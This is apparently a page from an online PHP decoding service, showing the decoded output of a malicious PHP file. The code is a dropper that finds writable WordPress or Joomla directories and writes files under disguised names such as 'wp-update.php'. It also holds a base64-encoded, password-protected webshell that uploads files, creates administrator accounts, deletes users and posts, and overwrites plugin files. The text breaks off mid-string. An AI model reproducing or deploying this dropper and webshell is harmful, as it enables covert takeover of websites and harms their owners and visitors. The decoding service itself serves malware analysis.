Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function filter_dirs($dir) { if(PLATFORM != "WORDPRESS") { ..

Decoded Output download

<?php 
 
function filter_dirs($dir) { 
 
        if(PLATFORM != "WORDPRESS") { 
 
                return true; 
 
        } 
 
 
 
        return preg_match("/\/wp\-(admin|content|includes)/", $dir); 
 
} 
 
 
 
function get_all_dirs($dir) { 
 
        global $all_dirs; 
 
 
 
        foreach(glob("$dir/*") as $file) { 
 
                if(is_dir($file)) { 
 
                        if(is_writable($file)) { 
 
                                $all_dirs[] = $file; 
 
                        } 
 
                        get_all_dirs($file); 
 
                } 
 
        } 
 
} 
 
 
 
function get_file_name($path) { 
 
        $jm_file_names = array( 
 
                'cache.php', 
 
                'configure.php', 
 
                'settings.php', 
 
                'config.php', 
 
                'admin.php', 
 
                'admin-class.php', 
 
                'menus.php', 
 
                'components.php', 
 
                'languages.php', 
 
                'class-library.php', 
 
                'include.php', 
 
                'common.php' 
 
        ); 
 
 
 
        $wp_file_names = array( 
 
                'wp-update.php', 
 
                'wp-block.php', 
 
                'wp-blog.php', 
 
                'wp-content.php', 
 
                'wp-ping.php', 
 
                'wp-widgets.php', 
 
                'wp-search.php', 
 
                'wp-find.php', 
 
                'wp-post-update.php', 
 
                'wp-page-update.php', 
 
                'wp-theme.php', 
 
                'wp-template.php', 
 
                'wp-query.php', 
 
                'wp-admin-block.php', 
 
                'wp-category.php', 
 
                'wp-rewrite.php', 
 
                'wp-taxonomy.php', 
 
                'wp-xml-function.php', 
 
                'wp-rss.php', 
 
                'rss-feed.php', 
 
                'wp-plugins.php', 
 
                'wp-register.php', 
 
                'admin-menu.php' 
 
        ); 
 
 
 
        if(PLATFORM == 'WORDPRESS') { 
 
                $file_names = $wp_file_names; 
 
        } 
 
        else { 
 
                $file_names = $jm_file_names; 
 
        } 
 
 
 
        do { 
 
                $full_path = $path . $file_names[array_rand($file_names)]; 
 
        }while(file_exists($full_path)); 
 
 
 
        return $full_path; 
 
} 
 
 
 
@set_time_limit(300); 
 
 
 
define("MAX_LEVELS_UP", 7); 
 
 
 
$wp_code = 'PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOnRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOw0KDQpAc2V0X3RpbWVfbGltaXQoNjApOw0KDQpkZWZpbmUoJ0FQSV9WRVJTSU9OJywgMi4wKTsNCmRlZmluZSgnUEFTU1dPUkRfRklMRScsICdwLnR4dCcpOw0KDQppZihmaWxlX2V4aXN0cyhQQVNTV09SRF9GSUxFKSkgew0KCUB1bmxpbmsoUEFTU1dPUkRfRklMRSk7DQp9DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZnVuY3Rpb24gYXJyYXlfdG9fanNvbiggJGFycmF5ICkNCnsNCiAgICBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHJldHVybiAnIicucmF3dXJsZW5jb2RlKCRhcnJheSkuJyInOw0KICAgIGlmIChpc19udW1lcmljKCRhcnJheSkpIHJldHVybiAkYXJyYXk7DQogICAgaWYgKCRhcnJheSA9PT0gbnVsbCkgcmV0dXJuICdudWxsJzsNCiAgICBpZiAoJGFycmF5ID09PSB0cnVlKSByZXR1cm4gJ3RydWUnOw0KICAgIGlmICgkYXJyYXkgPT09IGZhbHNlKSByZXR1cm4gJ2ZhbHNlJzsNCg0KICAgICRhc3NvYyA9IGZhbHNlOw0KICAgICRpID0gMDsNCiAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGs9PiR2KXsNCiAgICAgICAgaWYgKCRrICE9PSAkaSsrKXsNCiAgICAgICAgICAgICRhc3NvYyA9IHRydWU7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgIH0NCiAgICAkcmVzID0gYXJyYXkoKTsNCiAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGs9PiR2KXsNCiAgICAgICAgJHYgPSBhcnJheV90b19qc29uKCR2KTsNCiAgICAgICAgaWYgKCRhc3NvYyl7DQogICAgICAgICAgICAkayA9ICciJy5yYXd1cmxlbmNvZGUoJGspLiciJzsNCiAgICAgICAgICAgICR2ID0gJGsuJzonLiR2Ow0KICAgICAgICB9DQogICAgICAgICRyZXNbXSA9ICR2Ow0KICAgIH0NCiAgICAkcmVzID0gaW1wbG9kZSgnLCcsICRyZXMpOw0KICAgIHJldHVybiAoJGFzc29jKT8gJ3snLiRyZXMuJ30nIDogJ1snLiRyZXMuJ10nOw0KfQ0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCmRlZmluZSgnU0hFTExfUEFTU1dPUkQnLCAnYTZhOGNiODc3ZWUxODIxNWYyYzBmYzJhNmM3YjRmMmEnKTsNCmRlZmluZSgnTUFYX1VQX0xFVkVMUycsIDEwKTsNCg0KaWYoKGVtcHR5KCRfQ09PS0lFWydwYXNzd29yZCddKSAmJiBlbXB0eSgkX1BPU1RbJ3Bhc3N3b3JkJ10pKSB8fCAoIWVtcHR5KCRfUE9TVFsncGFzc3dvcmQnXSkgJiYgbWQ1KCRfUE9TVFsncGFzc3dvcmQnXSkgIT0gU0hFTExfUEFTU1dPUkQpKSB7DQoJcHJpbnQgJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSInLiRfU0VSVkVSWydQSFBfU0VMRiddLic/Jy4kX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10uJyI+UGFzc3dvcmQgOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGFzc3dvcmQiPjxpbnB1dCB0eXBlPSJzdWJtaXQiPjwvZm9ybT4nOw0KCWV4aXQ7DQp9DQoNCmlmKCFlbXB0eSgkX1BPU1RbJ3Bhc3N3b3JkJ10pICYmIG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pID09IFNIRUxMX1BBU1NXT1JEKSB7DQoJc2V0Y29va2llKCdwYXNzd29yZCcsIFNIRUxMX1BBU1NXT1JELCB0aW1lKCkrNjAqNjAqMjQpOw0KCWhlYWRlcigiTG9jYXRpb246IHskX1NFUlZFUlsnUEhQX1NFTEYnXX0/eyRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXX0iKTsNCglleGl0Ow0KfQ0KDQppZihlbXB0eSgkX0NPT0tJRVsncGFzc3dvcmQnXSkgfHwgJF9DT09LSUVbJ3Bhc3N3b3JkJ10gIT0gU0hFTExfUEFTU1dPUkQpIHsNCglleGl0Ow0KfQ0KDQppZighZW1wdHkoJF9GSUxFU1snZiddKSkgew0KCSRuZXdfcGF0aCA9IGRpcm5hbWUoX19GSUxFX18pIC4gJy8nIC4gJF9GSUxFU1snZiddWyduYW1lJ107DQoJaWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJG5ld19wYXRoKSkgew0KCQlwcmludCAiPGEgaHJlZj1cInskX0ZJTEVTWydmJ11bJ25hbWUnXX1cIj57JF9GSUxFU1snZiddWyduYW1lJ119PC9hPiI7DQoJfQ0KCWVsc2Ugew0KCQlwcmludCAiVXBsb2FkIGZhaWxlZCEiOw0KCX0NCglleGl0Ow0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd1ZiddKSAmJiAkX1JFUVVFU1RbJ3VmJ10gPT0gMSkgew0KCXByaW50ICI8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBhY3Rpb249XCJ7JF9TRVJWRVJbJ1BIUF9TRUxGJ119XCI+PGlucHV0IHR5cGU9XCJmaWxlXCIgbmFtZT1cImZcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiPjwvZm9ybT4iOw0KCWV4aXQ7DQp9DQoNCiRjb3VudGVyID0gMDsNCiRkaXJfdXAgPSAnLi8nOw0KZG8gew0KCSRmaWxlX2ZvdW5kID0gZmFsc2U7DQoJJGZpbGVfcGF0aCA9ICJ7JGRpcl91cH13cC1sb2FkLnBocCI7DQoJaWYoZmlsZV9leGlzdHMoJGZpbGVfcGF0aCkpIHsNCgkJcmVxdWlyZSgkZmlsZV9wYXRoKTsNCgkJJGZpbGVfZm91bmQgPSB0cnVlOw0KCX0NCgllbHNlIHsNCgkJJGRpcl91cCAuPSAnLi4vJzsNCgl9DQoJJGNvdW50ZXIrKzsNCn13aGlsZSghJGZpbGVfZm91bmQgJiYgJGNvdW50ZXIgPCBNQVhfVVBfTEVWRUxTKTsNCg0KaWYoIWVtcHR5KCRfR0VUWydnZXRfdXNlcnMnXSkpIHsNCglwcmludCBhcnJheV90b19qc29uKGdldF91c2VycygpKTsNCn0NCi8vcHJpbnRfcigkX1JFUVVFU1QpOw0KaWYoaXNzZXQoJF9SRVFVRVNUWydhY3Rpb24nXSkgJiYgJF9SRVFVRVNUWydhY3Rpb24nXSA9PSAnY3JlYXRlX3VzZXInKSB7DQppZihlbXB0eSgkX1JFUVVFU1RbJ3dwX3VzZXJuYW1lJ10pIHx8IGVtcHR5KCRfUkVRVUVTVFsnd3BfcGFzc3dvcmQnXSkgfHwgZW1wdHkoJF9SRVFVRVNUWyd3cF9lbWFpbCddKSl7DQpwcmludCAiTWlzc2luZyBwYXJhbWV0ZXIgZm9yIGNyZWF0aW5nIHVzZXIhIjsNCmV4aXQ7DQp9DQplbHNlIHsNCiR1c2VyZGF0YSA9IGFycmF5KCd1c2VyX2xvZ2luJyA9PiAkX1JFUVVFU1RbJ3dwX3VzZXJuYW1lJ10sICd1c2VyX3Bhc3MnID0+ICRfUkVRVUVTVFsnd3BfcGFzc3dvcmQnXSwgJ3VzZXJfZW1haWwnID0+ICRfUkVRVUVTVFsnd3BfZW1haWwnXSwgJ3JvbGUnID0+ICdhZG1pbmlzdHJhdG9yJyk7DQovL3ByaW50X3IoJF9SRVFVRVNUKTsNCiR1c2VyX2lkID0gd3BfaW5zZXJ0X3VzZXIoICR1c2VyZGF0YSApOw0KCWlmKGlzX251bWVyaWMoJHVzZXJfaWQpKSB7DQoJCXByaW50IGFycmF5X3RvX2pzb24oYXJyYXkoJ3VzZXJfaWQnID0+ICR1c2VyX2lkKSk7DQoJfQ0KCWVsc2Ugew0KCQkJcHJpbnQgYXJyYXlfdG9fanNvbigiRmFpbGVkIGNyZWF0aW5nIHVzZXIhIik7DQoJCX0NCgl9DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2RlbGV0ZV91c2VyJ10pICYmICFlbXB0eSgkX1JFUVVFU1RbJ3dwX3VzZXJfaWQnXSkpIHsNCglpZih3cF9kZWxldGVfdXNlcigkX1JFUVVFU1RbJ3dwX3VzZXJfaWQnXSkpIHsNCgkJcHJpbnQgYXJyYXlfdG9fanNvbigiVXNlciBkZWxldGVkISIpOw0KCX0NCgllbHNlIHsNCgkJcHJpbnQgYXJyYXlfdG9fanNvbigiRmFpbGVkIGRlbGV0aW5nIHVzZXIhIik7DQoJfQ0KfQ0KDQppZigkX1JFUVVFU1RbJ2RlbGV0ZV9wb3N0J10gPT0gMSAmJiAhZW1wdHkoJF9SRVFVRVNUWydJRCddKSkgew0KCSRkZWxfb3BfcmVzID0gd3BfZGVsZXRlX3Bvc3QoICRfUkVRVUVTVFsnSUQnXSwgdHJ1ZSApOw0KCWlmKCEkZGVsX29wX3JlcykgcHJpbnQgYXJyYXlfdG9fanNvbigiRGVsZXRlIGZhaWxlZCEiKTsNCgllbHNlIHByaW50IGFycmF5X3RvX2pzb24oIlBvc3QgZGVsZXRlZCEiKTsNCglleGl0Ow0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd0aXRsZSddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydwb3N0J10pKSB7DQoJJHBvc3RfZGF0ZSA9ICRfUkVRVUVTVFsnZGF0ZXBpY2tlciddIC4gIiAiIC4gcmFuZCgwLDIzKSAuICI6IiAuIHJhbmQoMCw1OSkgLiAiOiIgLiByYW5kKDAsNTkpOw0KDQoJLy8gQ3JlYXRlIHBvc3Qgb2JqZWN0DQoJJG15X3Bvc3QgPSBhcnJheSgNCgkgICdwb3N0X3RpdGxlJyAgICA9PiAkX1JFUVVFU1RbJ3RpdGxlJ10sDQoJICAncG9zdF9jb250ZW50JyAgPT4gJF9SRVFVRVNUWydwb3N0J10sDQoJICAncG9zdF9zdGF0dXMnICAgPT4gJ3B1Ymxpc2gnLA0KCSAgJ3Bvc3RfYXV0aG9yJyAgID0+IDEsDQoJICAncG9zdF90eXBlJyA9PiAkX1JFUVVFU1RbJ3Bvc3RfdHlwZSddLA0KCSAgJ3Bvc3RfZGF0ZScgICAgID0+ICRwb3N0X2RhdGUNCgkpOw0KCSRpZCA9IE5VTEw7DQoJaWYoZW1wdHkoJF9SRVFVRVNUWydJRCddKSkgew0KCQkvLyBJbnNlcnQgdGhlIHBvc3QgaW50byB0aGUgZGF0YWJhc2UNCgkJJGlkID0gd3BfaW5zZXJ0X3Bvc3QoJG15X3Bvc3QpOw0KCX0NCgllbHNlIHsNCgkJJG15X3Bvc3RbJ0lEJ10gPSAkX1JFUVVFU1RbJ0lEJ107DQoJCSRpZCA9IHdwX3VwZGF0ZV9wb3N0KCRteV9wb3N0KTsNCgl9DQoJJHBlcm1hbGluayA9IGdldF9wZXJtYWxpbmsoICRpZCApOw0KCXdwX3NldF9wb3N0X2NhdGVnb3JpZXMoJGlkLCBhcnJheSgkX1JFUVVFU1RbJ2NhdCddKSk7DQoJaWYoJF9SRVFVRVNUWydkZWxldGVfcG9zdCddICE9IDEpIHsNCgkJaWYoIWVtcHR5KCRpZCkpIHsNCgkJCSRwb3N0ID0gZ2V0X3Bvc3QoJGlkKTsNCgkJCXByaW50IGFycmF5X3RvX2pzb24oYXJyYXkoInBlcm1hbGluayI9PiRwZXJtYWxpbmssImxpbmtfYnlfaWQiPT4kcG9zdC0+Z3VpZCwiSUQiPT4kaWQpKTsNCgkJfQ0KCQllbHNlIHsNCgkJCXByaW50IGFycmF5X3RvX2pzb24oIkFjdGlvbiBmYWlsZWQhIik7DQoJCX0NCgl9DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ3BsdWdpbjJ1cGRhdGUnXSkpIHsNCglpbmNsdWRlX29uY2UoICRkaXJfdXAgLiAnd3AtYWRtaW4vaW5jbHVkZXMvY2xhc3MtZnRwLnBocCcpOw0KCWluY2x1ZGVfb25jZSggJGRpcl91cCAuICd3cC1hZG1pbi9pbmNsdWRlcy91cGRhdGUucGhwJyk7DQoJaW5jbHVkZV9vbmNlKCAkZGlyX3VwIC4gJ3dwLWFkbWluL2luY2x1ZGVzL2ZpbGUucGhwJyk7DQoJaW5jbHVkZV9vbmNlKCAkZGlyX3VwIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3NjcmVlbi5waHAnKTsNCglpbmNsdWRlX29uY2UoICRkaXJfdXAgLiAnd3AtYWRtaW4vaW5jbHVkZXMvbWlzYy5waHAnKTsNCglpbmNsdWRlX29uY2UoICRkaXJfdXAgLiAnd3AtYWRtaW4vaW5jbHVkZXMvcGx1Z2luLnBocCcpOw0KCQ0KCWZvcmVhY2goJF9SRVFVRVNUWydwbHVnaW4ydXBkYXRlJ10gYXMgJHBsdWdpbikgew0KCQlwcmludCAiJHBsdWdpbiB1cGRhdGUgOiAiOw0KCQl3cF91cGRhdGVfcGx1Z2luKCRwbHVnaW4pOw0KCX0NCgkNCglleGl0Ow0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydmaWxlMmNsZWFuJ10pKSB7DQokdGVsbF9hX2ZyaWVuZF9jb250ZW50ID0gJzw/cGhwDQovKg0KUGx1Z2luIE5hbWU6IFRlbGwgYSBGcmllbmQNClZlcnNpb246IDAuMQ0KUGx1Z2luIFVSSTogaHR0cDovL3d3dy5mcmVldGVsbGFmcmllbmQuY29tL2dldF9idXR0b24vDQpEZXNjcmlwdGlvbjogQWRkcyBhIFwnU2hhcmUgVGhpcyBQb3N0XCcgYnV0dG9uIGFmdGVyIGVhY2ggcG9zdC4gVGhlIHNlcnZpY2Ugd2hpY2ggaXMgdXNlZCBpcyBmcmVldGVsbGFmcmllbmQuY29tIHdoaWNoIHN1cHBvcnRzIGUtbWFpbCBhZGRyZXNzIGJvb2ssIHNvY2lhbCBib29rbWFya3MgYW5kIGZhdm9yaXRlcy4NCkF1dGhvcjogRnJlZVRlbGxhRnJpZW5kDQpBdXRob3IgVVJJOiBodHRwOi8vd3d3LmZyZWV0ZWxsYWZyaWVuZC5jb20vDQoqLw0KDQpmdW5jdGlvbiB0ZWxsX2FfZnJpZW5kKCRjb250ZW50KSB7DQpnbG9iYWwgJHBvc3Q7DQokdGFmX3Blcm1saW5rID0gdXJsZW5jb2RlKGdldF9wZXJtYWxpbmsoJHBvc3QtPklEKSk7DQokdGFmX3RpdGxlID0gdXJsZW5jb2RlKGdldF90aGVfdGl0bGUoJHBvc3QtPklEKSApOw0KJHRhZl9pbWcgPSBnZXRfc2V0dGluZ3MoXCdob21lXCcpIC4gXCcvd3AtY29udGVudC9wbHVnaW5zL3RlbGwtYS1mcmllbmQvYnV0dG9uLmdpZlwnOw0KDQoJaWYgKCAhaXNfZmVlZCgpICYmICFpc19wYWdlKCkgKSB7DQoJJGNvbnRlbnQgLj0gXCc8YSBocmVmPSJodHRwczovL3d3dy5mcmVldGVsbGFmcmllbmQuY29tL3RlbGwvP3VybD1cJy4kdGFmX3Blcm1saW5rLlwnJnRpdGxlPVwnLiR0YWZfdGl0bGUuXCciIG9uY2xpY2s9IndpbmRvdy5vcGVuKFwnaHR0cHM6Ly93d3cuZnJlZXRlbGxhZnJpZW5kLmNvbS90ZWxsLz91cmw9XCcuJHRhZl9wZXJtbGluay5cJyZ0aXRsZT1cJy4kdGFmX3RpdGxlLlwnXCcsIFwnZnJlZXRlbGxhZnJpZW5kXCcsIFwnc2Nyb2xsYmFycz0xLG1lbnViYXI9MCx3aWR0aD02MTcsaGVpZ2h0PTUzMCxyZXNpemFibGU9MSx0b29sYmFyPTAsbG9jYXRpb249MCxzdGF0dXM9MCxzY3JlZW5YPTIxMCxzY3JlZW5ZPTEwMCxsZWZ0PTIxMCx0b3A9MTAwXCcpOyByZXR1cm4gZmFsc2U7IiB0YXJnZXQ9Il9ibGFuayIgdGl0bGU9IlNoYXJlIFRoaXMgUG9zdCI+PGltZyBzcmM9IlwnLiR0YWZfaW1nLlwnIiBzdHlsZT0id2lkdGg6MTI3cHg7aGVpZ2h0OjE2cHg7Ym9yZGVyOjBweDsiIGFsdD0iU2hhcmUgVGhpcyBQb3N0IiB0aXRsZT0iU2hhcmUgVGhpcyBQb3N0IiAvPjwvYT5cJzsJCQkJICANCgl9DQoNCnJldHVybiAkY29udGVudDsNCn0NCg0KYWRkX2ZpbHRlcihcJ3RoZV9jb250ZW50XCcsIFwndGVsbF9hX2ZyaWVuZFwnKTsNCg0KPz4nOw0KDQoJaWYoZmlsZV9leGlzdHMoJF9SRVFVRVNUWydmaWxlMmNsZWFuJ10pKSB7DQoJCWlmKHN0cnBvcygkX1JFUVVFU1RbJ2ZpbGUyY2xlYW4nXSwgJ3RlbGwtYS1mcmllbmQucGhwJykgIT09IGZhbHNlKSB7DQoJCQlpZihmaWxlX3B1dF9jb250ZW50cygkX1JFUVVFU1RbJ2ZpbGUyY2xlYW4nXSwgJHRlbGxfYV9mcmllbmRfY29udGVudCkpIHsNCgkJCQlwcmludCAiRmlsZSB7JF9SRVFVRVNUWydmaWxlMmNsZWFuJ119IGhhcyBiZWVuIGNsZWFuZWQuIjsNCgkJCX0NCgkJCWVsc2Ugew0KCQkJCXByaW50ICJGYWlsZWQgY2xlYW5pbmcgeyRfUkVRVUVTVFsnZmlsZTJjbGVhbiddfSAhIjsNCgkJCX0NCgkJfQ0KCX0NCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnZ2V0X3BsdWdpbnMnXSkgJiYgJF9SRVFVRVNUWydnZXRfcGx1Z2lucyddID09IDEpIHsNCglpbmNsdWRlX29uY2UoJGRpcl91cCAuICd3cC1hZG1pbi9pbmNsdWRlcy9wbHVnaW4ucGhwJyk7DQoJCQ0KCSRwbHVnaW5zID0gZ2V0X3BsdWdpbnMoKTsNCglwcmludCBhcnJheV90b19qc29uKCRwbHVnaW5zKTsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsncG9zdF91cmwyc2VhcmNoJ10pKSB7DQoJJHRoZV9zbHVnID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJF9SRVFVRVNUWydwb3N0X3VybDJzZWFyY2gnXSk7DQoJJGFyZ3MgPSBhcnJheSgNCgkJJ25hbWUnID0+ICR0aGVfc2x1ZywNCgkJJ3Bvc3Rfc3RhdHVzJyA9PiAncHVibGlzaCcsDQoJCSdwb3N0c19wZXJfcGFnZScgPT4gMQ0KCSk7DQoJJG15X3Bvc3RzID0gZ2V0X3Bvc3RzKCAkYXJncyApOw0KDQoJaWYoIWVtcHR5KCRteV9wb3N0c1swXS0+SUQpICYmIGlzX251bWVyaWMoJG15X3Bvc3RzWzBdLT5JRCkpIHsNCgkJJHBvc3QgPSBnZXRfcG9zdCgkbXlfcG9zdHNbMF0tPklEKTsNCgkJJHBvc3QtPmNhdGVnb3J5ID0gZ2V0X3RoZV9jYXRlZ29yeSgkbXlfcG9zdHNbMF0tPklEKTsNCgl9DQoJDQoJcHJpbnQgYXJyYXlfdG9fanNvbigkcG9zdCk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ3Bvc3RfaWQnXSkpIHsNCgkkcG9zdCA9IGdldF9wb3N0KCRfUkVRVUVTVFsncG9zdF9pZCddKTsNCgkkcG9zdC0+Y2F0ZWdvcnkgPSBnZXRfdGhlX2NhdGVnb3J5KCRfUkVRVUVTVFsncG9zdF9pZCddKTsNCglwcmludCBhcnJheV90b19qc29uKCRwb3N0KTsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsncGFnZV9pZCddKSkgew0KCSRwb3N0ID0gZ2V0X3BhZ2UoJF9SRVFVRVNUWydwYWdlX2lkJ10pOw0KCSRwb3N0LT5jYXRlZ29yeSA9IGdldF90aGVfY2F0ZWdvcnkoJF9SRVFVRVNUWydwYWdlX2lkJ10pOw0KCXByaW50IGFycmF5X3RvX2pzb24oJHBvc3QpOw0KfQ0KDQokYXJncyA9IGFycmF5KA0KCSdzaG93X29wdGlvbl9hbGwnICAgID0+ICcnLA0KCSdzaG93X29wdGlvbl9ub25lJyAgID0+ICcnLA0KCSdvcmRlcmJ5JyAgICAgICAgICAgID0+ICdJRCcsIA0KCSdvcmRlcicgICAgICAgICAgICAgID0+ICdBU0MnLA0KCSdzaG93X2NvdW50JyAgICAgICAgID0+IDEsDQoJJ2hpZGVfZW1wdHknICAgICAgICAgPT4gMCwgDQoJJ2NoaWxkX29mJyAgICAgICAgICAgPT4gMCwNCgknZXhjbHVkZScgICAgICAgICAgICA9PiAnJywNCgknZWNobycgICAgICAgICAgICAgICA9PiAxLA0KCSdzZWxlY3RlZCcgICAgICAgICAgID0+ICRzZWxfY2F0LA0KCSdoaWVyYXJjaGljYWwnICAgICAgID0+IDAsIA0KCSduYW1lJyAgICAgICAgICAgICAgID0+ICdjYXQnLA0KCSdpZCcgICAgICAgICAgICAgICAgID0+ICcnLA0KCSdjbGFzcycgICAgICAgICAgICAgID0+ICdwb3N0Zm9ybScsDQoJJ2RlcHRoJyAgICAgICAgICAgICAgPT4gMCwNCgkndGFiX2luZGV4JyAgICAgICAgICA9PiAwLA0KCSd0YXhvbm9teScgICAgICAgICAgID0+ICdjYXRlZ29yeScsDQoJJ2hpZGVfaWZfZW1wdHknICAgICAgPT4gZmFsc2UsDQogICAgJ3dhbGtlcicgICAgICAgICAgICAgPT4gJycNCik7DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF9jYXRlZ29yaWVzJ10pICYmICRfUkVRVUVTVFsnZ2V0X2NhdGVnb3JpZXMnXSA9PSAxKSB7DQoJcHJpbnQgYXJyYXlfdG9fanNvbihnZXRfY2F0ZWdvcmllcyggJGFyZ3MgKSk7IA0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfcGFnZXNfbGlzdCddKSAmJiAkX1JFUVVFU1RbJ2dldF9wYWdlc19saXN0J10gPT0gMSkgew0KCSRwYWdlc19hcnJheSA9IGdldF9wYWdlcygpOw0KCSRuZXdfcGFnZXNfYXJyYXkgPSBhcnJheSgpOw0KCWZvcigkaT0wLCRsZW49Y291bnQoJHBhZ2VzX2FycmF5KTskaTwkbGVuOyRpKyspIHsNCgkJJG5ld19wYWdlc19hcnJheVskaV1bJ0lEJ10gPSAkcGFnZXNfYXJyYXlbJGldLT5JRDsNCgkJJG5ld19wYWdlc19hcnJheVskaV1bJ3Bvc3RfdGl0bGUnXSA9ICRwYWdlc19hcnJheVskaV0tPnBvc3RfdGl0bGU7DQoJCSRuZXdfcGFnZXNfYXJyYXlbJGldWydwb3N0X25hbWUnXSA9ICRwYWdlc19hcnJheVskaV0tPnBvc3RfbmFtZTsNCgl9DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkbmV3X3BhZ2VzX2FycmF5KTsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnZ2V0X3Bvc3RzX2xpc3QnXSkpIHsNCglpZihpc3NldCgkX1JFUVVFU1RbJ3NlYXJjaF9ieV9wb3N0X3R5cGUnXSkpIHsNCgkJJHBvc3RfdHlwZSA9ICRfUkVRVUVTVFsnc2VhcmNoX2J5X3Bvc3RfdHlwZSddOw0KCX0NCgllbHNlIHsNCgkJJHBvc3RfdHlwZSA9ICcnOw0KCX0NCg0KCSRhcmdzID0gYXJyYXkoDQoJJ3Bvc3RzX3Blcl9wYWdlJyAgID0+IDUwLA0KCSdvZmZzZXQnICAgICAgICAgICA9PiAwLA0KCSdjYXRlZ29yeScgICAgICAgICA9PiAnJywNCgknY2F0ZWdvcnlfbmFtZScgICAgPT4gJycsDQoJJ29yZGVyYnknICAgICAgICAgID0+ICdJRCcsDQoJJ29yZGVyJyAgICAgICAgICAgID0+ICdERVNDJywNCgknaW5jbHVkZScgICAgICAgICAgPT4gJycsDQoJJ2V4Y2x1ZGUnICAgICAgICAgID0+ICcnLA0KCSdtZXRhX2tleScgICAgICAgICA9PiAnJywNCgknbWV0YV92YWx1ZScgICAgICAgPT4gJycsDQoJJ3Bvc3RfdHlwZScgICAgICAgID0+ICRwb3N0X3R5cGUsDQoJJ3Bvc3RfbWltZV90eXBlJyAgID0+ICcnLA0KCSdwb3N0X3BhcmVudCcgICAgICA9PiAnJywNCgkncG9zdF9zdGF0dXMnICAgICAgPT4gJ3B1Ymxpc2gnLA0KCSdzdXBwcmVzc19maWx0ZXJzJyA9PiB0cnVlICk7DQoNCglpZihpc3NldCgkX1JFUVVFU1RbJ3NlYXJjaF9ieV91cmwnXSkpIHsNCgkJJHRoZV9zbHVnID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJF9SRVFVRVNUWydzZWFyY2hfYnlfdXJsJ10pOw0KCQlpZighZW1wdHkoJHBvc3RfdHlwZSkgJiYgJHBvc3RfdHlwZSA9PSAncG9zdCcpIHsNCgkJCSRhcmdzWyduYW1lJ10gPSAkdGhlX3NsdWc7DQoJCX0NCgkJZWxzZSB7DQoJCQkkYXJnc1sncGFnZW5hbWUnXSA9ICR0aGVfc2x1ZzsNCgkJfQ0KCX0NCgkNCglpZihpc3NldCgkX1JFUVVFU1RbJ3NlYXJjaF9ieV9rZXl3b3JkJ10pKSB7DQoJCSRhcmdzWydzJ10gPSAkX1JFUVVFU1RbJ3NlYXJjaF9ieV9rZXl3b3JkJ107DQoJfQ0KCQ0KCSRwb3N0c19hcnJheSA9IGdldF9wb3N0cyggJGFyZ3MgKTsNCglmb3IoJGk9MCwkbGVuPWNvdW50KCRwb3N0c19hcnJheSk7JGk8JGxlbjskaSsrKSB7DQoJCSRuZXdfcG9zdHNfYXJyYXlbJGldWydJRCddID0gJHBvc3RzX2FycmF5WyRpXS0+SUQ7DQoJCSRuZXdfcG9zdHNfYXJyYXlbJGldWydwb3N0X3RpdGxlJ10gPSAkcG9zdHNfYXJyYXlbJGldLT5wb3N0X3RpdGxlOw0KCQkkbmV3X3Bvc3RzX2FycmF5WyRpXVsncG9zdF9uYW1lJ10gPSAkcG9zdHNfYXJyYXlbJGldLT5wb3N0X25hbWU7DQoJCSRuZXdfcG9zdHNfYXJyYXlbJGldWydwb3N0X2NvbnRlbnQnXSA9ICRwb3N0c19hcnJheVskaV0tPnBvc3RfY29udGVudDsNCgl9DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkbmV3X3Bvc3RzX2FycmF5KTsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsndXBsb2FkX2ZpbGUnXSkpIHsNCglwcmludCAnPGZvcm0gbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0ibXlfZmlsZSI+PGlucHV0IHR5cGU9InN1Ym1pdCI+PC9mb3JtPic7DQp9DQoNCmlmKCFlbXB0eSgkX0ZJTEVTWydteV9maWxlJ10pKSB7DQoJJGJhc2VfbmFtZSA9IGJhc2VuYW1lKCRfRklMRVNbJ215X2ZpbGUnXVsnbmFtZSddKTsNCglpZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snbXlfZmlsZSddWyd0bXBfbmFtZSddLCAkYmFzZV9uYW1lKSkgew0KCQlwcmludCAnPGEgaH